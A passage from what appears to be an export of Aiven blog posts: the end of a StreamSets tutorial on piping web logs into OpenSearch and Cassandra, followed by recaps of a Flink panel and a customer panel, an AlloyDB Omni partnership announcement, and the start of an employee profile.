the ```*.log``` as a _File Name Pattern_, with the _...Mode_ set to ```Glob```.\n\n![StreamSets Directory Origin with log files](https://cdn.sanity.io/images/sczeoy4w/production/acbc9c20365cbe722640e5b9aa1b1c9a41a4f697-1024x422.png)\n\nSet _Post Processing =\u003e File Post Processing_ to ```None```. Under _Data Format_ set:\n* _Data Format_: ```Log```\n* _Log Format_: ```Combined Log Format```\n\nNow, lets define our ```geo``` field. Drag and drop an _Expression Evaluator_ onto your canvas. Go to _Configuration =\u003e Expressions_ and set _Output Field_ to ```/geo``` and the _Field Expression_ to ```${emptyMap()}```. This creates a ```Map``` data structure that we’ll populate with the value of our geo object.\n\nNow, we’ll need to convert a few of our fields from their default ```text``` types to numeric values, in particular ```Response Code```, ```Bytes``` and the ```DATETIME``` timestamp. Drag and drop a _Field Type Converter_ into the pipeline. Now, go to _Configuration =\u003e Conversions_ and fill it in accordingly:\n\n![Converting field types](https://cdn.sanity.io/images/sczeoy4w/production/ad3a0a4544952eb992ae5c3894b430d92025aef9-1050x527.png)\n\n**NOTE: This will require a few extra steps, including converting the _Date Format_. That format string is ```dd/MMM/y:H:m:s Z```. Remember to use the ```+``` button to add conversions.**\n\nIn our next stage, we’ll need to perform a GeoIP lookup, and process three related fields. Drag and drop a _GeoIP_ stage into your pipeline. In it, go to _Configuration=\u003eGeolocation_ and fill in the settings accordingly:\n\n![Adding a GeoIP stage and converting types](https://cdn.sanity.io/images/sczeoy4w/production/ee94a5a0014192d5c0515e5bc530f275281dec8c-931x444.png)\n\nFinally, we’re going to add our Aiven for OpenSearch as a destination. Drag and drop an _OpenSearch_ stage onto the canvas, filling _Configuration=\u003eOpenSearch_ settings as follows:\n* _Cluster HTTP URIs_: ```https://\u003cserviceURI\u003e:\u003cport\u003e```\n* _Time Basis_: ```${time:now()}```\n* _Index_: ```logs```\n* _Mapping_: ```_doc```\n\n_Configuration=\u003eGeneral_\n* _Name_: ```Aiven for OpenSearch```\n\nWhile testing everything out, you can use the Data Collector’s Preview Mode to run the pipeline and OpenSearch dashboards Dev tools Console instance associated with your Aiven for OpenSearch instance to count records and query your indexes to verify the data is delivered:\n\n![Running OpenSearch Count and Match all queries from OpenSearch dashboards Devtools](https://cdn.sanity.io/images/sczeoy4w/production/da01cf3102c58a1388f06e6d4f003123a0d413f1-1102x360.png)\n\n## The longer version - dual ingest: OpenSearch and Cassandra\nA more realistic scenario involves a dual ingest — a [_lambda architecture_](https://en.wikipedia.org/wiki/Lambda_architecture) — where some data goes to one store with one purpose and some of our data goes to another. While we’re already ingesting some of our data into OpenSearch, we’d like to ingest a few of the fields into Cassandra for long-term storage and analytics in CQL.\n\n\u003e An actual lambda architecture would also typically involve performing real-time processing on the stream.\n\n![StreamSets Data Connector Pipeline with Aiven for OpenSearch and Cassandra destinations](https://cdn.sanity.io/images/sczeoy4w/production/9a5bc1ef95f3e3fbac5837917c04bedc375be76d-1056x250.png)\n\nFor our purposes, we’re going to import three fields into Aiven for Apache Cassandra: ```uuid```, ```city_name```, and ```referrer```. Cassandra needs a unique row identifier, so we’ll modify the pipeline to create a ```uuid``` field, and use the ```city_name```, and ```referrer``` fields from the log data.\n\nYou’ll need to spin up an Aiven for Apache Cassandra instance, again, using either Aiven Console, or [Aiven CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), as in:\n\n```\n$ avn service create cassandra-sstutorial -t cassandra --plan startup-4\n``` \n\nOnce your Cassandra service is up, download ```ca.pem``` from your Aiven for Apache Cassandra service to the folder you wish to run CQLSH from. \n\n\u003e ```ca.pem``` is accessible on Aiven Console from your Aiven for Apache Cassandra service under the service’s _Overview =\u003e Connection information_.\n\nHere’s the connection string you’ll need to connect CQLSH to your Aiven for Apache Cassandra instance:\n\n```\nSSL_CERTFILE=ca.pem cqlsh --ssl -u avnadmin -p \u003caiven_for_cassandra_password\u003e --cqlversion=\"3.4.4\" \u003cservice_URI\u003e \u003cport\u003e\n```\n\nYou’ll also need to add an authentication connection from Aiven for Apache Cassandra to the Data Collector. This involves generating a ```truststore.jks``` using that same ```ca.pem``` and copying it to the docker Data Collector instance:\n\n```\n$ keytool -import -file ca.pem -alias CA -keystore truststore.jks\npw: \u003cyour_password\u003e\ntrust: yes\n\n$ docker cp truststore.jks sdc:/resources\n```\n\nFrom your CQLSH prompt, go ahead and create the keyspace and table you’ll be importing the data into your Aiven for Apache Cassandra instance:\n\n```\nCREATE KEYSPACE location WITH REPLICATION = {'class': 'NetworkTopologyStrategy', 'aiven': 3};\nUSE location;\nCREATE TABLE city (UUID text PRIMARY KEY, city_name text, referrer text);\n```\n\n\u003e Deleting your Cassandra table as a cleanup step is easy: ```DROP TABLE city;```\n\nLet’s add a few more stages to your pipeline to connect to Cassandra. \n\nFirst, get an _Expression Evaluator_ and connect it with a new arrow to the _Geo IP_ stage that we connected to OpenSearch. Under _Configuration=\u003eField Expression_, create the following mapping:\n\n![Adding a field expression mapping to a StreamSets Data Connector pipeline](https://cdn.sanity.io/images/sczeoy4w/production/d732b277f38609e843aea5d25fdae1d08590d091-901x134.png)\n\nLets grab a _Field Renamer_ and connect it as our next stage, with the following mapping:\n\n![Optional step to rename fields](https://cdn.sanity.io/images/sczeoy4w/production/0e21baec9c80c4fd46a895b61a72df95059b1154-990x295.png)\n\n\u003e It’s possible to skip the _Field Renamer_ stage and simply map ```/city``` to ```city_name``` in the Cassandra destination stage. \n\nFinally, we’ll create our Aiven for Apache Cassandra destination in the Data Collector. Connect in a _Cassandra_ stage, configuring it as follows:\n\n_Configuration=\u003eGeneral_\n* _Name_: ```Aiven for Apache Cassandra```\n\n_Configuration=\u003eCassandra_\n* _Cassandra Contact Points_: ```https://\u003cserviceURI\u003e```\n* _Cassandra Port_: ```\u003cport\u003e```\n* Remaining settings as below:\n\n![Defining Cassandra destination](https://cdn.sanity.io/images/sczeoy4w/production/a2809bd13ada7bf0582638784dabe602b08f9224-697x401.png)\n\nFill _Configuration=\u003eCredentials_ with the Username and Password provided by your Aiven for Apache Cassandra service. Finally, under _Configuration=\u003eTLS_, specify ```Java Keystore file (JKS)```as the Keystore Type, and ```truststore.jks``` as the Truststore File. \n\n## Up and running!\nHere’s what it looks like running _(wait a few seconds)_; first counting and querying data going into our Aiven for OpenSearch instance: \n\n![StreamSets dual pipeline running with OpenSearch dashboards query](https://cdn.sanity.io/images/sczeoy4w/production/20d81738dc98b979deb3bf0da0b2c47a74a19b8b-1207x1295.gif)\n\nAnd finally, counting and querying data in as it goes into Aiven for Apache Cassandra:\n\n![StreamSets dual pipeline running with Cassandra query](https://cdn.sanity.io/images/sczeoy4w/production/b33ac73a57a9ff5118bf4672a6768da0c33aa921-1168x489.gif)\n\n## Wrapping up\nWe've just built a complete, end-to-end data pipeline via drag-and-drop leveraging [StreamSets Data Collector](https://streamsets.com/opensource) along with Aiven's hosted and managed [Apache Cassandra](https://aiven.io/blog/an-introduction-to-apache-cassandra) and [OpenSearch](https://aiven.io/opensearch). \n\n\u003e If you got stuck, here’s a [link to the pipeline ```.json```](https://gist.github.com/Jammink2/23c548aeb6617c3528697e8526f95c18) on github.\n\nWith StreamSets Data Collector and Aiven managed services, you can not only build what took months in minutes, but you don’t need to burn time on the day-to-day stuff.\n\nWe’ll be doing many more integrations like this one, so remember to follow our [blog](https://aiven.io/blog/feed.xml), [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or catch us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to see what's happening.\n\nMany tips of the hat go to Pat Patterson for making things work even better! Thanks Pat.\n","categories":[{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405-png","_type":"reference"}},"publishedAt":"2019-12-16T00:00:00.000Z","seo":{"metaDescription":"It used to take months to design and build a data pipeline. Now you can do it in minutes with open source tools and Aiven managed services.","metaImage":{"alt":"","asset":{"_ref":"image-b02f92c4b300bcb4fea41e45aee7d2864bcd2fea-752x405-png","_type":"reference"}},"metaTitle":"How to build a data pipeline with StreamSets and Aiven"},"slug":{"_type":"slug","current":"/blog/how-to-build-a-pipeline-with-streamsets-and-aiven"},"subtitle":"It used to take months to design and build a data pipeline. Now you can do it in minutes with open source tools and Aiven managed services.","title":"How to build a data pipeline with StreamSets and Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2ARfgdP4N2VhaJRepsobky","_rev":"Ypdm2WFkfKn13FbW5Xqhb7","_type":"post","_updatedAt":"2024-09-25T11:01:08Z","authors":[{"_key":"5JCxTNOGlqEWGCJILDlrdc","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"}],"body":"Aiven hosted a panel discussion at [Flink Forward Global 2021](https://www.flink-forward.org/global-2021 \"Flink Forward Global 2021 event\"), the conference on all things [Apache Flink](https://flink.apache.org/ \"Flink page | Apache.org\") and stream processing. Being part of the conference for the first time was exhilarating and we really enjoyed interacting with the Flink community. \n\nOur panelists, Olena Babenko (Aiven), Francesco Tisiot (Aiven), and Gyula Fora (Cloudera), sat down to discuss their favourite things about Flink SQL and how it’s a good fit in your data streaming pipeline with Kafka. We certainly got a lot of great questions from the audience and useful insights. \n\nThe panel recording is available on the [Flink Forward YouTube channel](https://www.youtube.com/channel/UCY8_lgiZLZErZPF47a2hXMA/videos \"Event on YouTube\") and at the end of this post, and we can’t wait for you to watch it! In the meantime, read on for a recap and some tips from our experts. \n\n## What makes Apache Kafka a great fit for streaming data? Why does it fit with Flink?\nAccording to Francesco Tisiot, as we’re moving away from batch processing and going into streaming, we need a platform that is performant and scalable, and proven to be successful. Apache Kafka is the perfect match in this case with its beautiful features like Kafka Connect, allowing you to connect your Kafka instance to other systems. However, it often acts as a messenger, taking data from one place and pushing it to the other. \n\nIf you want to level up your game and perform analytics, Flink is a very powerful tool for that. It understands the architecture of Kafka (i.e. topics, partitions) and optimises the workload across those parameters. \n\nSecondly, Flink supports a vast range of data platforms, both for input and output. This makes it a good choice for your [data pipelines](https://aiven.io/glossary/what-is-a-data-pipeline), no matter where your data sits. The combination of Flink and Kafka is truly powerful and takes your data streaming to the next level. \n## What are the common challenges of using both Flink \u0026 Kafka?\nWorking with Kafka and Flink services, we’re often faced with the issue of skewed data. For example, if you have 10 partitions in your Kafka service and only 1 partition has 5GB and the rest have 2MB. Usually this happens because of a mismatch between the node keys. If there is a mismatch in requests, your Kafka and Flink service performance will suffer when they try to process the data. \n\nAccording to Olena Babenko, you can avoid that by adjusting your metrics, such as maximum number of message bytes and patch sizes, to minimise the impact of the data overload. Additionally, if you are the manager of the Kafka service, you can review your partitioning mechanism to ensure an even distribution of messages.\n## Where could Flink improve?\nOur panelist had diverse opinions on this topic. As a Flink expert and long-term committer, Gyula Fóra mentioned that Flink has greatly improved with each release. There is definitely no better time to join Flink than now, with a lot of new feature additions, great connectors, and cloud support. Kudos to the Flink community for working hard on adding new features at an incredible pace! \n\nHowever, there are some things that could be improved on the SQL side of things. For example, good operational support for SQL queries could come in handy, or a way of guaranteeing savepoint compatibility between SQL jobs. Additionally, as in [Francesco’s case](https://twitter.com/FTisiot/status/1451538229036003340 \"Francesco's tweet about a SQL statement on Flink | Twitter\"), telling a user exactly where errors in the SQL statements are could make it a better experience, especially for new Flink users. \n\nThe SQL client, although it has been improved a lot, is still a work in progress. Especially if we look at the SQL CLI, you want to make sure that, when you run real-world applications, logging and all other operations are configured correctly and set up for production. Most companies have a deployment stack around this and a regular Table API program is a better fit than the SQL CLI.\n\nAnother small issue with SQL applications is the difficulty to write a unit test on it, because it’s hard to make it isolated and fast. Olena suggests one tip would be to mock as many sources of your data as possible (e.g. data fakers) to try and perform in-memory testing. In the worst case scenario, you can also try using a file system or Dockerised tools as sources.\n## What are the alternatives to Flink?\nOur panelists agree that Flink is becoming more and more mainstream. In most cases, it has pretty much all you need for stream processing. In some cases, the developer experience in the company makes it impractical to get a new tool, e.g. when you already have a strong team with extensive Kafka experience. However, the downside of using platform-specific tools like kSQL is that you are forced to use Kafka as both source and sink. Flink, on the other hand, doesn’t have such a limitation and works over a broad tech ecosystem with its wide range of [connectors](https://flink-packages.org/ \"Flink connectors\").\n## If you’re new to Flink, what’s the most fun thing to try out?\nWithout a doubt, you should check out [Flink documentation](https://nightlies.apache.org/flink/flink-docs-release-1.14/ \"Flink docs on Apache.org\") – there is a lot of great content that will help you understand Flink’s capabilities. Secondly, we recommend trying the SQL client as a great way to get started with Flink. Thirdly, if you are looking for a streaming SQL interface, we're launching our Apache Flink beta program soon, and we can’t wait for you to [try it out](https://aiven.io/flink \"Sign up for the Aiven for Apache Flink beta!\")! \n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further Reading\n\n- [How to build a data pipeline with Aiven](https://aiven.io/blog/how-to-build-a-pipeline-with-streamsets-and-aiven)\n\n- [Challenges that data pipelines must solve](https://aiven.io/blog/7-challenges-that-data-pipelines-must-solve)\n\n- [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)\n\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-03T00:00:00.000Z","related":[{"_key":"4a576df4e269","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"},{"_key":"340a52236467","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"}],"seo":{"metaDescription":"Apache Flink and Apache Kafka go together like foo and bar. Read or listen to panelists Olena Babenko, Francesco Tisiot, and Gyula Fora explain their take.","metaImage":{"alt":"","asset":{"_ref":"image-5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844-png","_type":"reference"}},"metaTitle":"Optimizing data streaming pipelines: a panel recap"},"slug":{"_type":"slug","current":"/blog/optimizing-data-streaming-pipelines"},"subtitle":"Apache Flink and Apache Kafka go together like foo and bar. Read or listen to panelists Olena Babenko, Francesco Tisiot, and Gyula Fora explain their take.","title":"Optimizing data streaming pipelines: a panel recap"} {"__i18n_lang":"en","_createdAt":"2023-12-15T09:24:15Z","_id":"af6ed549-c0e6-45f0-94be-c8a3f86a5299","_rev":"h4ancfFTuSnQNBSq3G8gOC","_type":"post","_updatedAt":"2024-11-18T13:02:03Z","authors":[{"_key":"c70ef196cf84","_ref":"5a531f9a-26ef-4216-95ae-2bf249a0b9cd","_type":"reference"}],"body":"The pursuit of innovation is paramount for any business that wants to stay ahead. But it’s a quest that has its fair share of hurdles. At a panel session I hosted at Aiven Live London, experts from [Revenir](https://www.revenir.ai), [Dojo](https://dojo.tech/) and [Hookdeck](https://hookdeck.com/) shared their insights into some of those hurdles and how their organizations are getting over them.\n\n![Aiven Live customer panel on stage](https://cdn.sanity.io/images/sczeoy4w/production/fb0502c1dcdb4044a6bc61786bc928f0b0a954fa-6174x4116.jpg)\n\nThe need to optimize costs while maximizing business value quickly emerged as a universal challenge for all the panelists — which is perhaps not surprising in a tight economic climate! All three of our experts pointed to the value of using managed services, when done properly, to help with cost control. \n\nBrian Wagner, CTO at Revenir, a London-based fintech, said: “As a start-up, we are always focused on the cost for us to process a single transaction. When I consider managing Apache Kafka® in-house versus having Aiven running it as a service, it’s just a fraction of the cost. It’s a no brainer.”\n\nA related issue is resource optimization, and all our panelists highlighted that the use of Aiven services helps them to focus internal resources on their core value proposition. When the focus is innovation and delivering on what customers need, then directing internal talent to infrastructure management is often a wasted opportunity. \n\nRevenir’s Wagner put it very succinctly, when he said: “If it’s not part of our IP, we ideally want to buy it in.” And Phil Leggeter, Head of DevRel and PLG at Hookdeck, a fast-growing webhook infrastructure company, said: “We’re a small team. We have to be innovative and think about what new products and features we can deploy to deliver more value to our customers.”\n\n![Brian Wager, CTO of Revenir on stage](https://cdn.sanity.io/images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg)\n\nHe continued: “We need the ability to try different data solutions, to swap and change. If we were managing the data infrastructure ourselves, we wouldn’t have the time to do that, and it would take us longer to deliver value to our customers.”\n\nAnother fintech, Dojo provides card-payment solutions for small and medium-sized businesses, which also relies on Aiven to manage its Kafka clusters. Sandeep Mehta, its Engineering Lead, Data Platforms reiterated the point. He said: “Our engineers should not have to worry about the infrastructure.”\n\nMehta also raised another important benefit associated with using Aiven services, this time related to the explosive growth that Dojo has experienced. Mehta has to build high levels of scalability into his data platform to respond to changing demands on the system. “Scaling up is important but so is scaling down,” he said. “We’re now looking at FinOps and putting the foundations in place.”\n\nIncidentally, FinOps is an “Evolving cloud financial management discipline and cultural practice that enables organizations to get maximum business value by helping engineering, finance, technology and business teams to collaborate on data-driven spending decisions.” That description comes from the FinOps Foundation Technical Advisory Council – and is an example of exactly the kind of approach that Aiven’s services are intended to enable.\n\n![Sandeep Mehta, Engineering Lead, Data Platforms, Dojo on stage](https://cdn.sanity.io/images/sczeoy4w/production/19b77ccd31d5d9379af2c8862536722f6959d13c-2162x1432.png)\n\nBack to London Live, where conversation at our panel session turned to the importance of enabling engineers to work independently and quickly, while making sure that the correct governance and control remain in place — and its role in fostering innovation. \n\nFor Dojo, the use of self-service tools is key. As Mehta said: “My team, the data platform team, is centralized. We provide generic infrastructure, generic tooling, generic governance and we have plans to build a discovery platform where our engineers can come, click a button and get whatever they need.”\n\nFor Revenir, the focus is not so much on self-service for engineers, but on freeing up their time in different ways. It does this by using Aiven to take care of the important but “undifferentiated heavy lifting” associated with data infrastructure management. \n\nWagner said: “Our product, our ability to grow the team and innovation are all underpinned by technology. The conversation always starts by asking ourselves: ‘How are we going to elevate the product? What features are we going to release? And how quickly can we get this to market?’ All of those things are enabled by undifferentiated heavy lifting.”\n\n![Aiven Live Customer Panel on stage](https://cdn.sanity.io/images/sczeoy4w/production/38003d999823e0b9903d745588c0916711d8888e-2176x1446.png)\n\nManaging data infrastructures across multiple cloud providers is another challenge to innovation that is getting attention. Hookdeck and Revenir currently use one public cloud provider but both Leggeter and Wagner acknowledge this could change in the future for a number of reasons that range from satisfying compliance and customer requirements to cost and performance optimization. \n\nDoja, on the other hand, already uses GCP, AWS and Oracle Cloud, which Mehta acknowledges can add more complexity to an already complex environment. “But if we had an outage and people couldn’t make payments, we’d lose business straight away,” he said. \n\n“We need an architecture that is scalable, compliant and secure — and which cannot fail. A challenge for us is having lots of clouds, with services running everywhere, and bringing in a centralized streaming architecture that consumes the data from everywhere, and making sure it’s all secure, won’t fail, will scale and can be monitored.” \n\nAll our guests reminded us that establishing the foundations for innovation in a data-driven world is not necessarily straightforward. But they also reminded us how necessary it is — and the rewards that are on offer. They represent businesses who all engage with open source solutions, real-time data platforms and cloud-enabled scalability to support innovation, and their success provides an inspiring example of what can be achieved. \n\n","categories":[{"_key":"af6344a35af7","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"ffb2624af7ca","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"4a9788ac002c","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"44575b2797a7","_ref":"a152ffa7-46aa-4ce7-9cb5-1c270d161c88","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"White writing on an orange background: \"Lessons from success: How smart businesses build their foundation for innovation.\"","asset":{"_ref":"image-b529ed657a831f9b2904771c853f7a0a9e201699-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-15T09:23:30.299Z","related":[{"_key":"5ff3c39984f2","_ref":"8eb7b659-d740-401e-a5b3-14c1dc21e885","_type":"reference"},{"_key":"8eab2e47eefc","_ref":"abbc29b7-31fd-4f58-b379-96cf451ea710","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Join us, together with Revenir, Dojo and Hookdeck as we explore how businesses are pursing innovation in order to stay ahead.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b529ed657a831f9b2904771c853f7a0a9e201699-1200x628-png","_type":"reference"}},"metaTitle":"Building Foundations for Innovations | Strategies | Aiven"},"slug":{"_type":"slug","current":"/blog/aiven-live-london-2023-customer-panel"},"subtitle":"Join us, together with Revenir, Dojo and Hookdeck as we explore how businesses are pursuing innovation in order to stay ahead.","title":"Lessons from Success: How Smart Businesses Build their Foundations for Innovation"} {"__i18n_lang":"en","_createdAt":"2024-09-27T19:08:12Z","_id":"6de596ee-66df-412f-abb4-73d7e70e38cf","_rev":"sEwq5NBiPauorOxrhigWpl","_type":"post","_updatedAt":"2024-11-19T09:52:05Z","authors":[{"_key":"0bac7968c5ff","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"},{"_key":"b7b2269acc1c","_ref":"925e2091-dea7-4c68-a08d-9c870edc6cff","_type":"reference"}],"body":"Aiven announces a new strategic partnership with Google Cloud that enables customers to deploy and manage AlloyDB Omni on Google Cloud, Amazon Web Services, and Microsoft Azure with [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni). This solution combines Google Cloud’s high-performance, 100% PostgreSQL-compatible database, AlloyDB Omni, with Aiven's fully managed, multi-cloud, data infrastructure platform, to help organizations run transactional, analytical, and vector workloads on any cloud, managed by a single platform.\n\nThe mix of operational and analytical workloads is the cornerstone of every organization in making data-driven decisions. However, balancing both types of workloads is either a complex multi-tech setup or a single-tech setup generating suboptimal performance. And, as organizations incorporate generative AI initiatives, they want an integrated solution rather than multiple pieces that need to be stitched together. This is where Aiven for AlloyDB Omni comes in, providing a single solution for transactional, analytical, and vector workloads across multiple cloud environments.\n\n## Why AlloyDB Omni?\n[AlloyDB Omni](https://cloud.google.com/alloydb/omni) is Google Cloud’s downloadable edition of AlloyDB, designed to run anywhere —in your data center, on your laptop, at the edge, and in any cloud. AlloyDB Omni is 100% PostgreSQL compatible, and offers superior performance, availability and scale for your PostgreSQL workloads. It's designed to handle the most demanding transactions and analytical queries, making it ideal for a wide range of use cases, from high-throughput web applications to real-time analytics dashboards to building enterprise genAI applications.\n\n* **Transactional workloads (OLTP):** AlloyDB Omni is up to 2X faster* than standard PostgreSQL for transactional workloads. Its optimized architecture ensures low-latency transaction processing and high throughput, keeping your application responsive even under peak loads.\n* **Analytical workloads (OLAP):** AlloyDB Omni delivers up to 100X faster* analytical queries than standard PostgreSQL. Its columnar storage engine accelerates complex queries, enabling you to gain actionable insights from your data in seconds, not hours.\n* **AI-powered applications:** AlloyDB Omni's built-in vector support enables efficient similarity search, a cornerstone of many AI applications. This, coupled with seamless integration with Google Cloud's Vertex AI platform, allows you to build and deploy sophisticated AI models directly within your database environment.\n*Source: Google Cloud performance tests, April 2024*\n\nAll this, while maintaining full compatibility with the vast ecosystem of PostgreSQL tools and extensions that developers already know and love.\n\n## The Aiven Advantage\nAiven brings its extensive expertise in managed cloud data services to the table. With Aiven's data and AI platform, deploying and managing AlloyDB Omni becomes a breeze, with a single control plane regardless of your chosen cloud provider. You get:\n* **Simplified management:** Aiven handles the complexities of database provisioning, scaling, backups, and upgrades, so you can focus on building your applications.\n* **Multi-cloud flexibility:** Deploy AlloyDB Omni on the cloud that best suits your needs, and easily migrate between clouds if necessary.\n* **Enterprise-grade security:** Aiven ensures your data is protected with robust security measures and compliance controls.\n\n## Unlocking the Potential\nThe collaboration between Google Cloud and Aiven marks a significant step forward in empowering organizations to embrace the full potential of AlloyDB Omni in a multi-cloud world. With [Aiven for AlloyDB Omni](https://aiven.io/alloydb-omni), organizations can leverage the performance and flexibility of this industry-leading database technology on their preferred cloud platform.\n\nThis partnership removes the barriers to entry by providing a managed service that handles the complexities of deployment, management, and scaling. Aiven's expertise in cloud data infrastructure ensures seamless operations across multiple clouds, while maintaining consistent security, compliance, and governance.\n\nWhether you're building data-intensive applications that demand high throughput and low latency, running complex analytics to gain real-time insights, or venturing into the realm of AI with vector similarity search and machine learning models, Aiven for AlloyDB Omni delivers the performance, flexibility, and ease of management you need to succeed.\n\n## Why Aiven for AlloyDB Omni?\nAiven for AlloyDB Omni is more than just a managed database; it's your strategic advantage in the data-driven world.\n* **Unmatched Performance:** Experience breakthrough speed for all your workloads, from transactions to analytics to AI.\n* **AI Innovation Made Easy:** Seamlessly integrate Google Cloud's AI tools, like Vertex AI, and build next-gen applications right within your database.\n* **True Multi-Cloud Freedom:** Deploy on your preferred cloud, with consistent management and security across environments.\n* **Focus on Innovation:** Let Aiven handle database complexities so your teams can focus on building.\n* **Enterprise-Grade Security:** Protect your sensitive data with robust, multi-cloud security measures.\n* **PostgreSQL Compatibility:** Leverage your existing PostgreSQL skills and tools seamlessly.\n\n## Key Use Cases\nAiven for AlloyDB Omni is ideal for a variety of data-intensive applications and use cases, including:\n* **Data-Intensive Applications with Complex Workloads:** Reduce response times for applications that require a combination of high transactional throughput and complex analytical queries, such as those in healthcare or gaming.\n* **High-Performance Transactional Workloads:** Increase the throughput for applications that require high transaction rates, low latency, and consistent performance, such as e-commerce platforms or financial systems.\n* **Multi-Cloud Deployments:** Adopt AlloyDB Omni advanced features and performance on the cloud or clouds of your choice with centralized management through the Aiven platform.\n* **High-Traffic Web Applications:** Handle large volumes of concurrent users and transactions with ease, ensuring a smooth user experience.\n* **Real-Time Analytics and Dashboards:** Process and analyze massive datasets in real time to generate actionable insights, track key performance indicators, and drive faster decision-making.\n* **Machine Learning and AI Applications:** Build and deploy generative AI applications directly on your operational data, using the familiarity of SQL.\n\n## For more information \nLearn more about Aiven for AlloyDB Omni by reading our press release and visiting our [product page](https://aiven.io/alloydb-omni) where you can sign up for additional information and early access.\n","categories":[{"_key":"4304ecb8afcc","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"f2d6b723092e","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"d2665a337bdc","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-975ad0c63bafd8641d07f662be2e42eade502064-1200x630-jpg","_type":"reference"}},"publishedAt":"2024-10-02T14:01:00.000Z","related":[{"_key":"ab3c85d916bd","_ref":"570e4d76-e2c9-43c4-92bb-043f7d4b29dc","_type":"reference"},{"_key":"a92ffc3ca8bc","_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},{"_key":"0781277b7f09","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven announces a new strategic partnership with Google Cloud that enables customers to deploy and manage AlloyDB Omni on AWS and Co. Find out more!","metaTitle":"Deploying AlloyDB Omni Across Multiple Clouds | Aiven"},"slug":{"_type":"slug","current":"/blog/unleash-alloydb-omni-across-clouds"},"subtitle":"Deploy Google Cloud's high-performance, PostgreSQL-compatible database AlloyDB Omni on AWS, Azure and Google Cloud, managed by Aiven’s multi-cloud, data infrastructure platform.","title":"Unleash AlloyDB Omni Across Clouds: Google Cloud and Aiven Partner for Multi-Cloud Database Freedom"} {"__i18n_lang":"en","_createdAt":"2023-01-09T12:27:47Z","_id":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_rev":"sEwq5NBiPauorOxrhiPJpM","_type":"post","_updatedAt":"2024-11-19T08:00:20Z","authors":[{"_key":"a54004e6187a","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"},{"_key":"2fb8c18f0be9","_ref":"d0806128-b67f-4ded-bc85-586d3f1f3b4d","_type":"reference"}],"body":"**“Dress how you want to. Think what you want. Love who you do. Embrace differences. Be true to who you are and not bound by the status quo. There is freedom in that.”** Words to live by, and Alessandro (who we refer to as Ale) Barone’s response to what Aiven’s Employee Value Proposition, “Think Sideways,” means to him.\n\nOn his arm, Ale has “Queer” tattooed upside down. He loves the daring nature of “Think Sideways” and feels that this represents the same energy as his tattoo, which defies the norms. “To me, queerness and ‘Think Sideways’ align.”\n\nAle is our Team Lead of People Operations for North America and Asia-Pacific, as well as the Employee Resource Group (ERG) Lead for Proud Crabs at Aiven; our LQBTQ+ allies community. He’s located in Toronto, Canada. As a member of the Cast, Ale exemplifies what it means to be a sideways-thinking Crab; that we are all moving in the same direction, just not in a straight line. \n\n## To tech or not to tech\n\nSo what detours and side-steps led Ale to be who and where he is today, as People Ops and ERG Lead for a Finnish Tech company?\n\nWhat may (or may not!) surprise his friends, is that as a kid, Ale loved anything tech. “I would go to Value Village™ and buy old technology for spare parts so that I could build a better computer or make different upgrades.” \n\nHe was the go-to techie in his family and eventually taught himself to code in Visual Basic. During his teen years, Ale and a friend built a chat app and messaged each other through their computers. These days, he stays current with tech trends and has a “smart”-equipped home.\n\n## Creating a safe space for others \n\nAle’s affinity for tech might well have led him to a more IT or engineering-oriented career path, but it was a feminist high school friend who opened his eyes to many human rights initiatives. Through this friend, Ale developed 